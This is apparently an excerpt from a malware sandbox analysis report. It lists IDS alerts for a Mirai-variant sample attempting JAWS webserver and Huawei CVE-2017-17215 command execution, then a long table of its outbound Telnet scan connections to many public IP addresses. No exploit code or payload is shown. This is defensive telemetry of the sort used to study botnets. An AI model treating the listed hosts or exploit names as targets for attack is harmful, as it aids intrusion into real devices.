2024-12-03T22:17:34.399528+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	58040	106.87.32.198	80	TCP
2024-12-03T22:17:34.399528+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	58040	106.87.32.198	80	TCP
2024-12-03T22:17:34.421584+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	47062	156.42.169.123	37215	TCP
2024-12-03T22:17:34.421782+0100	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.23	56446	197.184.225.139	37215	TCP
2024-12-03T22:17:34.421982+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42840	148.155.181.191	80	TCP
2024-12-03T22:17:34.421982+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42840	148.155.181.191	80	TCP
2024-12-03T22:17:34.430361+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	49378	34.11.119.35	80	TCP
2024-12-03T22:17:34.430361+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	49378	34.11.119.35	80	TCP
2024-12-03T22:17:34.445914+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	40608	80.179.13.146	80	TCP
2024-12-03T22:17:34.445914+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	40608	80.179.13.146	80	TCP
2024-12-03T22:17:34.452467+0100	2029034	ET MALWARE Mirai Variant User-Agent (Outbound)	1	192.168.2.23	42728	178.197.238.169	80	TCP
2024-12-03T22:17:34.452467+0100	2030092	ET MALWARE JAWS Webserver Unauthenticated Shell Command Execution	1	192.168.2.23	42728	178.197.238.169	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 3, 2024 22:16:44.347908020 CET	37963	23	192.168.2.23	48.182.102.28
Dec 3, 2024 22:16:44.347930908 CET	37963	23	192.168.2.23	201.87.194.67
Dec 3, 2024 22:16:44.347934961 CET	37963	23	192.168.2.23	203.37.56.95
Dec 3, 2024 22:16:44.347937107 CET	37963	23	192.168.2.23	27.72.250.28
Dec 3, 2024 22:16:44.347939968 CET	37963	23	192.168.2.23	18.206.31.141
Dec 3, 2024 22:16:44.347949028 CET	37963	23	192.168.2.23	199.109.228.164
Dec 3, 2024 22:16:44.347958088 CET	37963	23	192.168.2.23	41.104.10.210
Dec 3, 2024 22:16:44.347958088 CET	37963	23	192.168.2.23	101.255.81.175
Dec 3, 2024 22:16:44.347958088 CET	37963	23	192.168.2.23	199.214.122.189
Dec 3, 2024 22:16:44.347958088 CET	37963	23	192.168.2.23	54.207.24.157
Dec 3, 2024 22:16:44.347978115 CET	37963	23	192.168.2.23	59.166.23.54
Dec 3, 2024 22:16:44.347978115 CET	37963	23	192.168.2.23	31.38.117.3
Dec 3, 2024 22:16:44.347978115 CET	37963	23	192.168.2.23	164.251.30.181
Dec 3, 2024 22:16:44.347980022 CET	37963	23	192.168.2.23	61.135.143.195
Dec 3, 2024 22:16:44.347986937 CET	37963	23	192.168.2.23	104.56.171.136
Dec 3, 2024 22:16:44.347986937 CET	37963	23	192.168.2.23	136.56.226.117
Dec 3, 2024 22:16:44.347986937 CET	37963	23	192.168.2.23	97.145.122.207
Dec 3, 2024 22:16:44.347991943 CET	37963	23	192.168.2.23	208.93.5.2
Dec 3, 2024 22:16:44.347994089 CET	37963	23	192.168.2.23	169.35.85.203
Dec 3, 2024 22:16:44.348002911 CET	37963	23	192.168.2.23	66.192.213.135
Dec 3, 2024 22:16:44.348001957 CET	37963	23	192.168.2.23	58.147.73.171
Dec 3, 2024 22:16:44.348001957 CET	37963	23	192.168.2.23	155.1.16.4
Dec 3, 2024 22:16:44.348004103 CET	37963	23	192.168.2.23	184.236.188.55
Dec 3, 2024 22:16:44.348022938 CET	37963	23	192.168.2.23	185.113.69.208
Dec 3, 2024 22:16:44.348026037 CET	37963	23	192.168.2.23	216.218.185.78
Dec 3, 2024 22:16:44.348026991 CET	37963	23	192.168.2.23	168.147.66.219
Dec 3, 2024 22:16:44.348032951 CET	37963	23	192.168.2.23	161.84.134.11
Dec 3, 2024 22:16:44.348037958 CET	37963	23	192.168.2.23	53.169.165.68
Dec 3, 2024 22:16:44.348037958 CET	37963	23	192.168.2.23	195.103.148.191
Dec 3, 2024 22:16:44.348047972 CET	37963	23	192.168.2.23	51.239.194.79
Dec 3, 2024 22:16:44.348047972 CET	37963	23	192.168.2.23	5.188.2.157
Dec 3, 2024 22:16:44.348052025 CET	37963	23	192.168.2.23	154.54.207.41
Dec 3, 2024 22:16:44.348052025 CET	37963	23	192.168.2.23	20.84.253.217
Dec 3, 2024 22:16:44.348054886 CET	37963	23	192.168.2.23	114.186.81.20
Dec 3, 2024 22:16:44.348054886 CET	37963	23	192.168.2.23	219.130.135.82
Dec 3, 2024 22:16:44.348067999 CET	37963	23	192.168.2.23	108.148.101.115
Dec 3, 2024 22:16:44.348067999 CET	37963	23	192.168.2.23	92.255.191.128
Dec 3, 2024 22:16:44.348077059 CET	37963	23	192.168.2.23	110.88.98.63
Dec 3, 2024 22:16:44.348077059 CET	37963	23	192.168.2.23	176.172.68.175
Dec 3, 2024 22:16:44.348077059 CET	37963	23	192.168.2.23	174.212.102.123
Dec 3, 2024 22:16:44.348083973 CET	37963	23	192.168.2.23	159.188.128.182
Dec 3, 2024 22:16:44.348095894 CET	37963	23	192.168.2.23	9.28.92.198
Dec 3, 2024 22:16:44.348097086 CET	37963	23	192.168.2.23	184.149.247.127
Dec 3, 2024 22:16:44.348103046 CET	37963	23	192.168.2.23	180.234.31.110
Dec 3, 2024 22:16:44.348113060 CET	37963	23	192.168.2.23	38.53.177.100
Dec 3, 2024 22:16:44.348115921 CET	37963	23	192.168.2.23	186.147.27.27
Dec 3, 2024 22:16:44.348119974 CET	37963	23	192.168.2.23	48.236.85.101
Dec 3, 2024 22:16:44.348121881 CET	37963	23	192.168.2.23	149.6.117.152
Dec 3, 2024 22:16:44.348126888 CET	37963	23	192.168.2.23	5.117.219.227
Dec 3, 2024 22:16:44.348126888 CET	37963	23	192.168.2.23	146.235.228.42
Dec 3, 2024 22:16:44.348150015 CET	37963	23	192.168.2.23	202.255.36.14
Dec 3, 2024 22:16:44.348150015 CET	37963	23	192.168.2.23	130.207.17.102
Dec 3, 2024 22:16:44.348150969 CET	37963	23	192.168.2.23	209.17.76.108
Dec 3, 2024 22:16:44.348151922 CET	37963	23	192.168.2.23	91.83.108.162
Dec 3, 2024 22:16:44.348151922 CET	37963	23	192.168.2.23	179.14.104.150
Dec 3, 2024 22:16:44.348153114 CET	37963	23	192.168.2.23	54.38.116.21
Dec 3, 2024 22:16:44.348155022 CET	37963	23	192.168.2.23	203.219.10.45
Dec 3, 2024 22:16:44.348155975 CET	37963	23	192.168.2.23	32.101.220.159
Dec 3, 2024 22:16:44.348166943 CET	37963	23	192.168.2.23	223.101.96.210
Dec 3, 2024 22:16:44.348170042 CET	37963	23	192.168.2.23	153.8.114.227
Dec 3, 2024 22:16:44.348175049 CET	37963	23	192.168.2.23	38.100.207.226
Dec 3, 2024 22:16:44.348175049 CET	37963	23	192.168.2.23	89.214.31.156
Dec 3, 2024 22:16:44.348181009 CET	37963	23	192.168.2.23	48.244.230.230
Dec 3, 2024 22:16:44.348181009 CET	37963	23	192.168.2.23	84.160.175.232
Dec 3, 2024 22:16:44.348181009 CET	37963	23	192.168.2.23	25.18.181.184
Dec 3, 2024 22:16:44.348181963 CET	37963	23	192.168.2.23	1.118.241.228
Dec 3, 2024 22:16:44.348181963 CET	37963	23	192.168.2.23	131.159.72.182
Dec 3, 2024 22:16:44.348201990 CET	37963	23	192.168.2.23	187.203.196.102
Dec 3, 2024 22:16:44.348201990 CET	37963	23	192.168.2.23	173.115.226.59
Dec 3, 2024 22:16:44.348212004 CET	37963	23	192.168.2.23	76.74.122.57
Dec 3, 2024 22:16:44.348213911 CET	37963	23	192.168.2.23	97.134.54.9
Dec 3, 2024 22:16:44.348229885 CET	37963	23	192.168.2.23	38.115.236.254
Dec 3, 2024 22:16:44.348232985 CET	37963	23	192.168.2.23	146.207.77.252
Dec 3, 2024 22:16:44.348236084 CET	37963	23	192.168.2.23	220.47.185.120
Dec 3, 2024 22:16:44.348237991 CET	37963	23	192.168.2.23	86.194.28.220
Dec 3, 2024 22:16:44.348238945 CET	37963	23	192.168.2.23	145.187.193.243
Dec 3, 2024 22:16:44.348242044 CET	37963	23	192.168.2.23	111.197.210.85
Dec 3, 2024 22:16:44.348253012 CET	37963	23	192.168.2.23	140.200.245.0
Dec 3, 2024 22:16:44.348253012 CET	37963	23	192.168.2.23	205.57.192.39
Dec 3, 2024 22:16:44.348259926 CET	37963	23	192.168.2.23	196.141.22.91
Dec 3, 2024 22:16:44.348259926 CET	37963	23	192.168.2.23	96.189.103.99
Dec 3, 2024 22:16:44.348263979 CET	37963	23	192.168.2.23	221.50.100.72
Dec 3, 2024 22:16:44.348263979 CET	37963	23	192.168.2.23	96.162.21.50
Dec 3, 2024 22:16:44.348275900 CET	37963	23	192.168.2.23	39.188.61.96
Dec 3, 2024 22:16:44.348278046 CET	37963	23	192.168.2.23	175.165.27.120
Dec 3, 2024 22:16:44.348282099 CET	37963	23	192.168.2.23	210.179.243.148
Dec 3, 2024 22:16:44.348282099 CET	37963	23	192.168.2.23	144.30.97.75
Dec 3, 2024 22:16:44.348282099 CET	37963	23	192.168.2.23	206.53.168.211
Dec 3, 2024 22:16:44.348298073 CET	37963	23	192.168.2.23	169.225.121.238
Dec 3, 2024 22:16:44.348299980 CET	37963	23	192.168.2.23	83.7.253.212
Dec 3, 2024 22:16:44.348309040 CET	37963	23	192.168.2.23	111.219.185.75
Dec 3, 2024 22:16:44.348309040 CET	37963	23	192.168.2.23	35.254.5.212
Dec 3, 2024 22:16:44.348315954 CET	37963	23	192.168.2.23	166.73.116.193
Dec 3, 2024 22:16:44.348325014 CET	37963	23	192.168.2.23	219.246.0.158
Dec 3, 2024 22:16:44.348325968 CET	37963	23	192.168.2.23	181.121.22.37
Dec 3, 2024 22:16:44.348334074 CET	37963	23	192.168.2.23	165.184.105.166
Dec 3, 2024 22:16:44.348340988 CET	37963	23	192.168.2.23	183.94.194.23
Dec 3, 2024 22:16:44.348342896 CET	37963	23	192.168.2.23	19.255.240.242
Dec 3, 2024 22:16:44.348356009 CET	37963	23	192.168.2.23	88.65.252.222
Dec 3, 2024 22:16:44.348364115 CET	37963	23	192.168.2.23	210.131.39.239
Dec 3, 2024 22:16:44.348366022 CET	37963	23	192.168.2.23	131.111.165.193
Dec 3, 2024 22:16:44.348367929 CET	37963	23	192.168.2.23	158.205.145.12
Dec 3, 2024 22:16:44.348368883 CET	37963	23	192.168.2.23	185.118.2.12
Dec 3, 2024 22:16:44.348367929 CET	37963	23	192.168.2.23	48.212.16.18
Dec 3, 2024 22:16:44.348368883 CET	37963	23	192.168.2.23	195.26.206.124
Dec 3, 2024 22:16:44.348367929 CET	37963	23	192.168.2.23	90.219.245.84
Dec 3, 2024 22:16:44.348378897 CET	37963	23	192.168.2.23	137.103.150.146
Dec 3, 2024 22:16:44.348387957 CET	37963	23	192.168.2.23	162.161.67.106
Dec 3, 2024 22:16:44.348390102 CET	37963	23	192.168.2.23	156.131.204.81
Dec 3, 2024 22:16:44.348393917 CET	37963	23	192.168.2.23	25.41.127.38
Dec 3, 2024 22:16:44.348397017 CET	37963	23	192.168.2.23	184.206.100.214
Dec 3, 2024 22:16:44.348400116 CET	37963	23	192.168.2.23	69.13.212.91
Dec 3, 2024 22:16:44.348403931 CET	37963	23	192.168.2.23	171.188.252.227
Dec 3, 2024 22:16:44.348411083 CET	37963	23	192.168.2.23	141.194.240.251
Dec 3, 2024 22:16:44.348414898 CET	37963	23	192.168.2.23	49.68.218.200
Dec 3, 2024 22:16:44.348414898 CET	37963	23	192.168.2.23	24.124.142.123
Dec 3, 2024 22:16:44.348417997 CET	37963	23	192.168.2.23	87.150.188.251
Dec 3, 2024 22:16:44.348423004 CET	37963	23	192.168.2.23	211.82.179.178
Dec 3, 2024 22:16:44.348432064 CET	37963	23	192.168.2.23	54.86.39.32
Dec 3, 2024 22:16:44.348437071 CET	37963	23	192.168.2.23	2.85.128.103
Dec 3, 2024 22:16:44.348440886 CET	37963	23	192.168.2.23	13.207.229.219
Dec 3, 2024 22:16:44.348442078 CET	37963	23	192.168.2.23	128.58.40.207
Dec 3, 2024 22:16:44.348453999 CET	37963	23	192.168.2.23	34.55.139.224
Dec 3, 2024 22:16:44.348457098 CET	37963	23	192.168.2.23	125.120.241.231
Dec 3, 2024 22:16:44.348457098 CET	37963	23	192.168.2.23	52.139.215.36
Dec 3, 2024 22:16:44.348457098 CET	37963	23	192.168.2.23	104.170.96.45
Dec 3, 2024 22:16:44.348458052 CET	37963	23	192.168.2.23	88.175.74.162
Dec 3, 2024 22:16:44.348459005 CET	37963	23	192.168.2.23	164.88.15.248
Dec 3, 2024 22:16:44.348474026 CET	37963	23	192.168.2.23	187.104.37.132
Dec 3, 2024 22:16:44.348475933 CET	37963	23	192.168.2.23	46.198.28.67
Dec 3, 2024 22:16:44.348476887 CET	37963	23	192.168.2.23	1.237.63.84
Dec 3, 2024 22:16:44.348489046 CET	37963	23	192.168.2.23	93.63.45.17
Dec 3, 2024 22:16:44.348489046 CET	37963	23	192.168.2.23	146.68.155.136
Dec 3, 2024 22:16:44.348490000 CET	37963	23	192.168.2.23	12.36.101.155
Dec 3, 2024 22:16:44.348491907 CET	37963	23	192.168.2.23	114.154.3.143
Dec 3, 2024 22:16:44.348491907 CET	37963	23	192.168.2.23	196.130.35.62
Dec 3, 2024 22:16:44.348491907 CET	37963	23	192.168.2.23	67.99.213.22
Dec 3, 2024 22:16:44.348491907 CET	37963	23	192.168.2.23	99.185.157.22
Dec 3, 2024 22:16:44.348507881 CET	37963	23	192.168.2.23	79.82.142.7
Dec 3, 2024 22:16:44.348512888 CET	37963	23	192.168.2.23	85.62.200.130
Dec 3, 2024 22:16:44.348514080 CET	37963	23	192.168.2.23	136.165.248.62
Dec 3, 2024 22:16:44.348512888 CET	37963	23	192.168.2.23	165.222.56.35
Dec 3, 2024 22:16:44.348514080 CET	37963	23	192.168.2.23	47.133.226.9
Dec 3, 2024 22:16:44.348530054 CET	37963	23	192.168.2.23	48.93.28.238
Dec 3, 2024 22:16:44.348532915 CET	37963	23	192.168.2.23	75.46.166.240
Dec 3, 2024 22:16:44.348532915 CET	37963	23	192.168.2.23	191.98.23.84
Dec 3, 2024 22:16:44.348551035 CET	37963	23	192.168.2.23	206.249.120.193
Dec 3, 2024 22:16:44.348551035 CET	37963	23	192.168.2.23	93.113.125.142
Dec 3, 2024 22:16:44.348551035 CET	37963	23	192.168.2.23	59.95.235.192
Dec 3, 2024 22:16:44.348551035 CET	37963	23	192.168.2.23	70.61.41.149
Dec 3, 2024 22:16:44.348551989 CET	37963	23	192.168.2.23	14.77.6.170
Dec 3, 2024 22:16:44.348551989 CET	37963	23	192.168.2.23	123.243.116.120
Dec 3, 2024 22:16:44.348557949 CET	37963	23	192.168.2.23	184.137.245.75
Dec 3, 2024 22:16:44.348558903 CET	37963	23	192.168.2.23	50.239.53.20
Dec 3, 2024 22:16:44.348560095 CET	37963	23	192.168.2.23	83.101.67.189
Dec 3, 2024 22:16:44.348562956 CET	37963	23	192.168.2.23	73.176.224.107
Dec 3, 2024 22:16:44.348573923 CET	37963	23	192.168.2.23	80.209.20.120
Dec 3, 2024 22:16:44.348576069 CET	37963	23	192.168.2.23	70.126.32.137
Dec 3, 2024 22:16:44.348577976 CET	37963	23	192.168.2.23	27.226.175.52
Dec 3, 2024 22:16:44.348578930 CET	37963	23	192.168.2.23	216.48.171.122
Dec 3, 2024 22:16:44.348592043 CET	37963	23	192.168.2.23	183.154.104.62
Dec 3, 2024 22:16:44.348597050 CET	37963	23	192.168.2.23	166.104.98.230
Dec 3, 2024 22:16:44.348603010 CET	37963	23	192.168.2.23	49.105.205.179
Dec 3, 2024 22:16:44.348692894 CET	37963	23	192.168.2.23	43.168.186.194
Dec 3, 2024 22:16:44.348692894 CET	37963	23	192.168.2.23	205.135.13.176
Dec 3, 2024 22:16:44.348717928 CET	37963	23	192.168.2.23	91.102.50.78
Dec 3, 2024 22:16:44.348721981 CET	37963	23	192.168.2.23	126.90.232.107
Dec 3, 2024 22:16:44.348721981 CET	37963	23	192.168.2.23	201.125.96.155
Dec 3, 2024 22:16:44.348721981 CET	37963	23	192.168.2.23	144.205.214.243
Dec 3, 2024 22:16:44.348726034 CET	37963	23	192.168.2.23	212.173.228.222
Dec 3, 2024 22:16:44.348726034 CET	37963	23	192.168.2.23	155.100.217.236
Dec 3, 2024 22:16:44.348731041 CET	37963	23	192.168.2.23	24.215.22.43
Dec 3, 2024 22:16:44.348733902 CET	37963	23	192.168.2.23	89.73.15.27
Dec 3, 2024 22:16:44.348738909 CET	37963	23	192.168.2.23	117.30.66.214
Dec 3, 2024 22:16:44.348738909 CET	37963	23	192.168.2.23	60.185.133.214
Dec 3, 2024 22:16:44.348751068 CET	37963	23	192.168.2.23	74.110.119.145
Dec 3, 2024 22:16:44.348752975 CET	37963	23	192.168.2.23	87.152.154.161
Dec 3, 2024 22:16:44.348752975 CET	37963	23	192.168.2.23	136.67.36.143
Dec 3, 2024 22:16:44.348757029 CET	37963	23	192.168.2.23	197.234.149.50
Dec 3, 2024 22:16:44.348757029 CET	37963	23	192.168.2.23	192.172.250.31
Dec 3, 2024 22:16:44.348768950 CET	37963	23	192.168.2.23	83.137.31.120
Dec 3, 2024 22:16:44.348777056 CET	37963	23	192.168.2.23	76.194.201.129
Dec 3, 2024 22:16:44.348778009 CET	37963	23	192.168.2.23	20.111.69.43
Dec 3, 2024 22:16:44.348778009 CET	37963	23	192.168.2.23	196.37.142.110
Dec 3, 2024 22:16:44.348782063 CET	37963	23	192.168.2.23	47.238.80.3
Dec 3, 2024 22:16:44.348782063 CET	37963	23	192.168.2.23	97.200.222.143
Dec 3, 2024 22:16:44.348788023 CET	37963	23	192.168.2.23	196.3.137.196
Dec 3, 2024 22:16:44.348788023 CET	37963	23	192.168.2.23	182.206.106.38
Dec 3, 2024 22:16:44.348809958 CET	37963	23	192.168.2.23	196.249.184.234
Dec 3, 2024 22:16:44.348812103 CET	37963	23	192.168.2.23	77.52.67.132
Dec 3, 2024 22:16:44.348813057 CET	37963	23	192.168.2.23	52.97.35.127
Dec 3, 2024 22:16:44.348813057 CET	37963	23	192.168.2.23	190.22.196.156
Dec 3, 2024 22:16:44.348814964 CET	37963	23	192.168.2.23	79.209.195.103
Dec 3, 2024 22:16:44.348814964 CET	37963	23	192.168.2.23	90.66.89.207
Dec 3, 2024 22:16:44.348822117 CET	37963	23	192.168.2.23	154.217.159.128
Dec 3, 2024 22:16:44.348826885 CET	37963	23	192.168.2.23	50.255.254.80
Dec 3, 2024 22:16:44.348826885 CET	37963	23	192.168.2.23	168.116.242.15
Dec 3, 2024 22:16:44.348828077 CET	37963	23	192.168.2.23	133.68.141.36
Dec 3, 2024 22:16:44.348829031 CET	37963	23	192.168.2.23	27.70.50.132
Dec 3, 2024 22:16:44.348829031 CET	37963	23	192.168.2.23	59.212.55.71
Dec 3, 2024 22:16:44.348830938 CET	37963	23	192.168.2.23	160.42.211.84
Dec 3, 2024 22:16:44.348830938 CET	37963	23	192.168.2.23	51.43.3.222
Dec 3, 2024 22:16:44.348838091 CET	37963	23	192.168.2.23	169.52.71.160
Dec 3, 2024 22:16:44.348839045 CET	37963	23	192.168.2.23	155.28.185.151
Dec 3, 2024 22:16:44.348839045 CET	37963	23	192.168.2.23	170.190.79.183
Dec 3, 2024 22:16:44.348839045 CET	37963	23	192.168.2.23	62.152.189.242
Dec 3, 2024 22:16:44.348840952 CET	37963	23	192.168.2.23	179.221.118.23
Dec 3, 2024 22:16:44.348840952 CET	37963	23	192.168.2.23	120.43.42.36
Dec 3, 2024 22:16:44.348843098 CET	37963	23	192.168.2.23	222.219.114.197
Dec 3, 2024 22:16:44.348840952 CET	37963	23	192.168.2.23	219.216.25.127
Dec 3, 2024 22:16:44.348851919 CET	37963	23	192.168.2.23	100.154.28.178
Dec 3, 2024 22:16:44.348851919 CET	37963	23	192.168.2.23	66.59.172.148
Dec 3, 2024 22:16:44.348851919 CET	37963	23	192.168.2.23	197.29.59.250
Dec 3, 2024 22:16:44.348851919 CET	37963	23	192.168.2.23	219.208.238.71
Dec 3, 2024 22:16:44.348860979 CET	37963	23	192.168.2.23	123.22.60.65
Dec 3, 2024 22:16:44.348860979 CET	37963	23	192.168.2.23	152.23.224.225
Dec 3, 2024 22:16:44.348861933 CET	37963	23	192.168.2.23	53.227.232.124
Dec 3, 2024 22:16:44.348864079 CET	37963	23	192.168.2.23	89.122.106.81
Dec 3, 2024 22:16:44.348864079 CET	37963	23	192.168.2.23	113.168.152.121
Dec 3, 2024 22:16:44.348874092 CET	37963	23	192.168.2.23	109.25.34.194
Dec 3, 2024 22:16:44.348879099 CET	37963	23	192.168.2.23	116.179.17.207
Dec 3, 2024 22:16:44.348881960 CET	37963	23	192.168.2.23	223.72.100.204
Dec 3, 2024 22:16:44.348881960 CET	37963	23	192.168.2.23	109.82.202.56
Dec 3, 2024 22:16:44.348885059 CET	37963	23	192.168.2.23	84.239.189.87
Dec 3, 2024 22:16:44.348886013 CET	37963	23	192.168.2.23	131.166.123.105
Dec 3, 2024 22:16:44.348886013 CET	37963	23	192.168.2.23	199.200.63.142
Dec 3, 2024 22:16:44.348886013 CET	37963	23	192.168.2.23	84.23.42.18
Dec 3, 2024 22:16:44.348893881 CET	37963	23	192.168.2.23	209.150.109.0
Dec 3, 2024 22:16:44.348893881 CET	37963	23	192.168.2.23	186.48.30.76
Dec 3, 2024 22:16:44.348896027 CET	37963	23	192.168.2.23	42.74.115.88
Dec 3, 2024 22:16:44.348906040 CET	37963	23	192.168.2.23	79.72.68.37
Dec 3, 2024 22:16:44.348906994 CET	37963	23	192.168.2.23	60.14.145.136
Dec 3, 2024 22:16:44.348922968 CET	37963	23	192.168.2.23	124.212.148.75
Dec 3, 2024 22:16:44.348923922 CET	37963	23	192.168.2.23	89.17.211.197
Dec 3, 2024 22:16:44.348925114 CET	37963	23	192.168.2.23	134.164.35.203
Dec 3, 2024 22:16:44.348928928 CET	37963	23	192.168.2.23	186.153.122.32
Dec 3, 2024 22:16:44.348936081 CET	37963	23	192.168.2.23	27.124.68.143
Dec 3, 2024 22:16:44.348947048 CET	37963	23	192.168.2.23	50.243.0.128
Dec 3, 2024 22:16:44.348948002 CET	37963	23	192.168.2.23	209.188.208.171
Dec 3, 2024 22:16:44.348957062 CET	37963	23	192.168.2.23	152.55.215.7
Dec 3, 2024 22:16:44.348958969 CET	37963	23	192.168.2.23	151.118.38.97
Dec 3, 2024 22:16:44.348968029 CET	37963	23	192.168.2.23	192.110.159.134
Dec 3, 2024 22:16:44.348978043 CET	37963	23	192.168.2.23	124.165.0.64
Dec 3, 2024 22:16:44.348978043 CET	37963	23	192.168.2.23	192.94.188.189
Dec 3, 2024 22:16:44.348982096 CET	37963	23	192.168.2.23	27.203.249.175
Dec 3, 2024 22:16:44.348984003 CET	37963	23	192.168.2.23	160.204.252.192
Dec 3, 2024 22:16:44.348984957 CET	37963	23	192.168.2.23	212.95.176.136
Dec 3, 2024 22:16:44.348987103 CET	37963	23	192.168.2.23	53.44.187.27
Dec 3, 2024 22:16:44.348990917 CET	37963	23	192.168.2.23	145.96.220.162
Dec 3, 2024 22:16:44.348990917 CET	37963	23	192.168.2.23	154.115.91.32
Dec 3, 2024 22:16:44.348994970 CET	37963	23	192.168.2.23	177.220.125.81
Dec 3, 2024 22:16:44.348995924 CET	37963	23	192.168.2.23	129.180.47.35
Dec 3, 2024 22:16:44.348995924 CET	37963	23	192.168.2.23	126.13.218.81
Dec 3, 2024 22:16:44.348998070 CET	37963	23	192.168.2.23	144.5.40.249
Dec 3, 2024 22:16:44.349004030 CET	37963	23	192.168.2.23	98.153.101.141
Dec 3, 2024 22:16:44.349004984 CET	37963	23	192.168.2.23	173.158.49.248
Dec 3, 2024 22:16:44.349010944 CET	37963	23	192.168.2.23	221.134.98.240
Dec 3, 2024 22:16:44.349013090 CET	37963	23	192.168.2.23	104.2.232.211
Dec 3, 2024 22:16:44.349020958 CET	37963	23	192.168.2.23	182.69.86.25
Dec 3, 2024 22:16:44.349021912 CET	37963	23	192.168.2.23	161.223.194.112
Dec 3, 2024 22:16:44.349021912 CET	37963	23	192.168.2.23	71.253.164.20
Dec 3, 2024 22:16:44.349021912 CET	37963	23	192.168.2.23	42.53.232.165
Dec 3, 2024 22:16:44.349040031 CET	37963	23	192.168.2.23	161.152.49.72
Dec 3, 2024 22:16:44.349040031 CET	37963	23	192.168.2.23	84.59.8.4
Dec 3, 2024 22:16:44.349040031 CET	37963	23	192.168.2.23	145.68.146.37
Dec 3, 2024 22:16:44.349046946 CET	37963	23	192.168.2.23	106.73.79.134
Dec 3, 2024 22:16:44.349047899 CET	37963	23	192.168.2.23	46.179.206.199
Dec 3, 2024 22:16:44.349047899 CET	37963	23	192.168.2.23	116.122.113.213
Dec 3, 2024 22:16:44.349049091 CET	37963	23	192.168.2.23	192.131.71.232
Dec 3, 2024 22:16:44.349049091 CET	37963	23	192.168.2.23	131.85.33.177
Dec 3, 2024 22:16:44.349050999 CET	37963	23	192.168.2.23	63.236.122.233
Dec 3, 2024 22:16:44.349056959 CET	37963	23	192.168.2.23	160.128.212.216
Dec 3, 2024 22:16:44.349056959 CET	37963	23	192.168.2.23	2.43.20.61
Dec 3, 2024 22:16:44.349056959 CET	37963	23	192.168.2.23	51.126.119.159
Dec 3, 2024 22:16:44.349062920 CET	37963	23	192.168.2.23	61.155.196.35
Dec 3, 2024 22:16:44.349062920 CET	37963	23	192.168.2.23	27.12.179.43
Dec 3, 2024 22:16:44.349062920 CET	37963	23	192.168.2.23	2.190.84.150
Dec 3, 2024 22:16:44.349067926 CET	37963	23	192.168.2.23	122.69.59.80
Dec 3, 2024 22:16:44.349067926 CET	37963	23	192.168.2.23	159.171.202.22
Dec 3, 2024 22:16:44.349088907 CET	37963	23	192.168.2.23	199.15.169.44
Dec 3, 2024 22:16:44.349091053 CET	37963	23	192.168.2.23	128.235.76.167
Dec 3, 2024 22:16:44.349091053 CET	37963	23	192.168.2.23	154.30.110.152
Dec 3, 2024 22:16:44.349091053 CET	37963	23	192.168.2.23	126.11.205.230
Dec 3, 2024 22:16:44.349091053 CET	37963	23	192.168.2.23	119.33.94.11
Dec 3, 2024 22:16:44.349091053 CET	37963	23	192.168.2.23	167.245.47.171
Dec 3, 2024 22:16:44.349091053 CET	37963	23	192.168.2.23	125.7.147.230
Dec 3, 2024 22:16:44.349091053 CET	37963	23	192.168.2.23	180.62.139.209
Dec 3, 2024 22:16:44.349104881 CET	37963	23	192.168.2.23	85.155.150.85
Dec 3, 2024 22:16:44.349109888 CET	37963	23	192.168.2.23	57.76.31.153
Dec 3, 2024 22:16:44.349114895 CET	37963	23	192.168.2.23	72.63.213.255
Dec 3, 2024 22:16:44.349126101 CET	37963	23	192.168.2.23	157.136.12.192
Dec 3, 2024 22:16:44.349126101 CET	37963	23	192.168.2.23	151.239.206.74
Dec 3, 2024 22:16:44.349133015 CET	37963	23	192.168.2.23	155.60.81.90
Dec 3, 2024 22:16:44.349133968 CET	37963	23	192.168.2.23	95.151.41.198
Dec 3, 2024 22:16:44.349133968 CET	37963	23	192.168.2.23	107.90.64.84
Dec 3, 2024 22:16:44.349136114 CET	37963	23	192.168.2.23	149.115.16.108
Dec 3, 2024 22:16:44.349145889 CET	37963	23	192.168.2.23	208.240.93.159
Dec 3, 2024 22:16:44.349145889 CET	37963	23	192.168.2.23	91.118.218.232
Dec 3, 2024 22:16:44.349149942 CET	37963	23	192.168.2.23	194.133.94.72
Dec 3, 2024 22:16:44.349152088 CET	37963	23	192.168.2.23	144.128.222.91
Dec 3, 2024 22:16:44.349157095 CET	37963	23	192.168.2.23	218.197.112.130
Dec 3, 2024 22:16:44.349159002 CET	37963	23	192.168.2.23	186.153.67.202
Dec 3, 2024 22:16:44.349159002 CET	37963	23	192.168.2.23	38.143.173.59
Dec 3, 2024 22:16:44.349167109 CET	37963	23	192.168.2.23	103.117.192.68
Dec 3, 2024 22:16:44.349175930 CET	37963	23	192.168.2.23	192.170.98.255
Dec 3, 2024 22:16:44.349179983 CET	37963	23	192.168.2.23	190.126.202.177
Dec 3, 2024 22:16:44.349179983 CET	37963	23	192.168.2.23	161.229.86.48
Dec 3, 2024 22:16:44.349186897 CET	37963	23	192.168.2.23	142.152.66.135
Dec 3, 2024 22:16:44.349189997 CET	37963	23	192.168.2.23	97.164.199.152
Dec 3, 2024 22:16:44.349189997 CET	37963	23	192.168.2.23	176.102.36.20
Dec 3, 2024 22:16:44.349189997 CET	37963	23	192.168.2.23	150.240.92.228
Dec 3, 2024 22:16:44.349190950 CET	37963	23	192.168.2.23	204.251.36.152
Dec 3, 2024 22:16:44.349190950 CET	37963	23	192.168.2.23	132.238.113.135
Dec 3, 2024 22:16:44.349190950 CET	37963	23	192.168.2.23	93.116.150.72
Dec 3, 2024 22:16:44.349215031 CET	37963	23	192.168.2.23	194.65.16.50
Dec 3, 2024 22:16:44.349215984 CET	37963	23	192.168.2.23	31.149.193.213
Dec 3, 2024 22:16:44.349215031 CET	37963	23	192.168.2.23	144.98.223.46
